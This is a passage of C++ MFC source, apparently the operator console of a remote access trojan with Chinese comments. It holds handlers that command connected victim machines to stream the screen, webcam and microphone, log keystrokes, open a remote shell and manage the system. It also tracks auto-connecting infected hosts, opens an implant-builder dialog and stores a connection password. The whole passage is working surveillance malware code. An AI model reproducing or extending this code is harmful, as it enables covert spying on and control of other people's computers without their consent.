		 strToolTipsText=Path; 
		sndPlaySound (strToolTipsText,SND_ASYNC); 
		////////////////////////////////////////////////////////////////////////// 
	}catch(...){} 
 
	return 0; 
} 
 
void CClientDlg::ShowToolTips(LPCTSTR lpszText) 
{ 
   g_pFrame->m_TrayIcon.SetTooltipText(lpszText); 
} 
 
void CClientDlg::ShowConnectionsNumber() 
{ 
	CString str; 
	str.Format("自动上线:%d台", m_nOnlineCount); 
	m_wndStatusBar.SetText(str,2,0); 
} 
 
void CClientDlg::OnAboutbox()  
{ 
	// TODO: Add your command handler code here 
	CAboutDlg dlgAbout; 
	dlgAbout.DoModal(); 
} 
 
void CClientDlg::SendSelectCommand(PBYTE pData, UINT nSize) 
{ 
//	ClientContext* pContext = (ClientContext*)m_FileManagerDlg.m_tree_file.GetItemData(m_FileManagerDlg.GetSelectNode()); 
	// 发送指定命令到服务端 
	m_iocpServer->Send(m_pContext, pData, nSize); 
	 
} 
 
void CClientDlg::OnScreenspy()  
{ 
	// TODO: Add your control notification handler code here 
	BYTE	bToken = COMMAND_SCREEN_SPY; 
	SendSelectCommand(&bToken, sizeof(BYTE)); 
} 
 
void CClientDlg::OnWebcam()  
{ 
	// TODO: Add your control notification handler code here 
	BYTE	bToken = COMMAND_WEBCAM; 
	SendSelectCommand(&bToken, sizeof(BYTE)); 
} 
 
void CClientDlg::OnAudioListen()  
{ 
	// TODO: Add your control notification handler code here 
	BYTE	bToken = COMMAND_AUDIO; 
	SendSelectCommand(&bToken, sizeof(BYTE)); 
} 
 
void CClientDlg::OnSystem()  
{ 
	// TODO: Add your control notification handler code here 
	BYTE	bToken = COMMAND_SYSTEM; 
	SendSelectCommand(&bToken, sizeof(BYTE)); 
} 
 
void CClientDlg::OnKeyboard()  
{ 
	// TODO: Add your control notification handler code here 
	BYTE	bToken = COMMAND_KEYBOARD; 
	SendSelectCommand(&bToken, sizeof(BYTE)); 
} 
 
void CClientDlg::OnRemoteshell()  
{ 
	// TODO: Add your control notification handler code here 
	BYTE	bToken = COMMAND_SHELL; 
	SendSelectCommand(&bToken, sizeof(BYTE)); 
} 
 
LRESULT CClientDlg::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam) 
{ 
	ClientContext *pContext = (ClientContext *)lParam; 
	 
	CScreenSpyDlg	*dlg = new CScreenSpyDlg(this, m_iocpServer, pContext); 
	// 设置父窗口为卓面 
	dlg->Create(IDD_SCREENSPY, GetDesktopWindow()); 
	dlg->ShowWindow(SW_SHOW); 
	 
	pContext->m_Dialog[0] = SCREENSPY_DLG; 
	pContext->m_Dialog[1] = (int)dlg; 
	return 0; 
} 
 
LRESULT CClientDlg::OnOpenWebCamDialog(WPARAM wParam, LPARAM lParam) 
{	 
	ClientContext *pContext = (ClientContext *)lParam; 
	CWebCamDlg	*dlg = new CWebCamDlg(this, m_iocpServer, pContext); 
	// 设置父窗口为卓面 
	dlg->Create(IDD_WEBCAM, GetDesktopWindow()); 
	dlg->ShowWindow(SW_SHOW); 
	pContext->m_Dialog[0] = WEBCAM_DLG; 
	pContext->m_Dialog[1] = (int)dlg; 
	return 0; 
} 
 
LRESULT CClientDlg::OnOpenAudioDialog(WPARAM wParam, LPARAM lParam) 
{ 
	ClientContext *pContext = (ClientContext *)lParam; 
	CAudioDlg	*dlg = new CAudioDlg(this, m_iocpServer, pContext); 
	// 设置父窗口为卓面 
	dlg->Create(IDD_AUDIO, GetDesktopWindow()); 
	dlg->ShowWindow(SW_SHOW); 
	pContext->m_Dialog[0] = AUDIO_DLG; 
	pContext->m_Dialog[1] = (int)dlg; 
	return 0; 
} 
 
LRESULT CClientDlg::OnOpenKeyBoardDialog(WPARAM wParam, LPARAM lParam) 
{ 
	ClientContext	*pContext = (ClientContext *)lParam; 
	CKeyBoardDlg	*dlg = new CKeyBoardDlg(this, m_iocpServer, pContext); 
	 
	// 设置父窗口为卓面 
	dlg->Create(IDD_KEYBOARD, GetDesktopWindow()); 
	dlg->ShowWindow(SW_SHOW); 
	 
	pContext->m_Dialog[0] = KEYBOARD_DLG; 
	pContext->m_Dialog[1] = (int)dlg; 
	return 0; 
} 
 
LRESULT CClientDlg::OnOpenShellDialog(WPARAM wParam, LPARAM lParam) 
{ 
	ClientContext	*pContext = (ClientContext *)lParam; 
	CShellDlg	*dlg = new CShellDlg(this, m_iocpServer, pContext); 
	 
	// 设置父窗口为卓面 
	dlg->Create(IDD_SHELL, GetDesktopWindow()); 
	dlg->ShowWindow(SW_SHOW); 
	 
	pContext->m_Dialog[0] = SHELL_DLG; 
	pContext->m_Dialog[1] = (int)dlg; 
	return 0; 
} 
 
LRESULT CClientDlg::OnOpenSystemDialog(WPARAM wParam, LPARAM lParam) 
{ 
	ClientContext	*pContext = (ClientContext *)lParam; 
	CSystemDlg	*dlg = new CSystemDlg(this, m_iocpServer, pContext); 
	 
	// 设置父窗口为卓面 
	dlg->Create(IDD_SYSTEM, GetDesktopWindow()); 
	dlg->ShowWindow(SW_SHOW); 
	 
	pContext->m_Dialog[0] = SYSTEM_DLG; 
	pContext->m_Dialog[1] = (int)dlg; 
	return 0; 
} 
 
void CClientDlg::OnBuild()  
{ 
	// TODO: Add your control notification handler code here 
	CBuildServer dlg; 
	dlg.DoModal(); 
} 
 
void CClientDlg::OnSettings()  
{ 
	// TODO: Add your command handler code here 
	CSettings dlg; 
	dlg.DoModal(); 
} 
 
void CClientDlg::OnUpdate()  
{ 
	// TODO: Add your control notification handler code here 
	CUpdateDlg dlg; 
	dlg.DoModal(); 
} 
 
LRESULT CClientDlg::OnRemoveFromList(WPARAM wParam, LPARAM lParam) 
{ 
	ClientContext	*pContext = (ClientContext *)lParam; 
	if (pContext == NULL) 
		return -1; 
	 
	// 删除链表过程中可能会删除Context 
	try 
	{ 
		int nCnt = m_CommandBcast.m_list_computer.GetItemCount(); 
		for (int i=0; i < nCnt; i++) 
		{ 
			if (pContext == (ClientContext *)m_CommandBcast.m_list_computer.GetItemData(i)) 
			{ 
				m_CommandBcast.m_list_computer.DeleteItem(i); 
				break; 
			}		 
		} 
    
	   HTREEITEM hItem=m_FileManagerDlg.m_tree_file.GetRootItem(); 
	   hItem=m_FileManagerDlg.m_tree_file.GetNextSiblingItem(hItem); //从第二个根结点开始查找Context相同的结点将其删除 
 
       while (hItem) 
       { 
		 HTREEITEM hChild=m_FileManagerDlg.m_tree_file.GetChildItem(hItem); 
         while(hChild) //进入各分组查找 
		 { 
		   if (pContext == (ClientContext *)m_FileManagerDlg.m_tree_file.GetItemData(hChild)) 
		   { 
			   HTREEITEM hParent=m_FileManagerDlg.m_tree_file.GetParentItem(hChild); 
			   CString strGroupName=m_FileManagerDlg.m_tree_file.GetItemText(hParent); 
			   int a = strGroupName.ReverseFind('('); 
			   int b=strGroupName.ReverseFind(')'); 
			   CString temp=strGroupName.Mid(a+1,b-a-1),temp1;//取出分组中个数 
			   int num=atoi(temp); 
			   num=num-1; 
			   temp.Format("(%d)",num); 
               temp1.Format("有主机下线!IP->[%s] 所属分组->[%s]",m_FileManagerDlg.m_tree_file.GetItemText(hChild),strGroupName.Left(a)); 
			   SetLogText(temp1); 
			  //播放声音////////////////////////////////////////////////////////////////// 
			   char Path[200]={0}; 
			   GetModuleFileName(NULL,Path,200); 
			   *strrchr(Path,'\\')=0;			    
			   strcat(Path,"\\Sound\\Offline.wav"); 
			   CString str=m_IniFile.GetString("Settings","Sound"); 
			   if (str.IsEmpty()) 
				   str=Path; 
		       sndPlaySound (str,SND_ASYNC); 
			   ////////////////////////////////////////////////////////////////////////// 
			   strGroupName=strGroupName.Left(a)+temp; 
               m_FileManagerDlg.m_tree_file.SetItemText(hParent,strGroupName); 
			   m_FileManagerDlg.m_Local_Path=""; 
			   m_FileManagerDlg.m_Remote_Path=""; 
               m_FileManagerDlg.FixedLocalDriveList(); 
			   m_edit_connect="我的电脑"; 
			   char ComputerName[100]={0}; 
			   DWORD dwSize=100; 
			   GetComputerName(ComputerName,&dwSize); 
		       m_edit_computer=ComputerName; 
			   m_FileManagerDlg.m_bLocalOrRemote=TRUE; 
			   UpdateData(FALSE); 
			   m_FileManagerDlg.m_tree_file.DeleteItem(hChild);//删除该主机的结点 
			  
			   ////////////////////////////////////////////////////////////////////////// 
			   m_nOnlineCount--; 
			   if (num==0 && strGroupName.Find("自动上线主机")==-1) 
			    m_FileManagerDlg.m_tree_file.DeleteItem(hItem); 
			   break; 
		   } 
           hChild=m_FileManagerDlg.m_tree_file.GetNextSiblingItem(hChild); 
		 } 
		 hItem=m_FileManagerDlg.m_tree_file.GetNextSiblingItem(hItem);  
       } 
		 
		// 关闭相关窗口 
		 
		switch (pContext->m_Dialog[0]) 
		{ 
		case SCREENSPY_DLG: 
		case WEBCAM_DLG: 
		case AUDIO_DLG: 
		case KEYBOARD_DLG: 
		case SHELL_DLG: 
		case SYSTEM_DLG:		 
			//((CDialog*)pContext->m_Dialog[1])->SendMessage(WM_CLOSE); 
			((CDialog*)pContext->m_Dialog[1])->DestroyWindow(); 
			break; 
		case FILEMANAGER_DLG: 
			pContext->m_Dialog[0]=0; 
			closesocket(((CFileManagerDlg*)pContext->m_Dialog[1])->m_pContext->m_Socket); 
			break; 
		default: 
			break; 
		} 
	}catch(...){} 
	 
	// 更新当前连接总数 
	g_pFrame->ShowConnectionsNumber(); 
	return 0; 
} 
 
void CClientDlg::SetLogText(CString str,COLORREF clr) 
{ 
	m_log.SetTextColor(clr); 
//	m_log.SetBordText();  //设置粗体 
	CString temp; 
	m_log.GetWindowText(temp); 
	temp+=str; 
	temp+="\r\n";	 
	m_log.SetWindowText(temp);	 
} 
 
void CClientDlg::OnBtnSave()  
{ 
	// TODO: Add your control notification handler code here 
	UpdateData(TRUE); 
	if (m_IniFile.SetString("Build","ConnectPass",m_ConnectPass)) 
	{ 
		AfxMessageBox("密码保存成功!"); 
	} 
}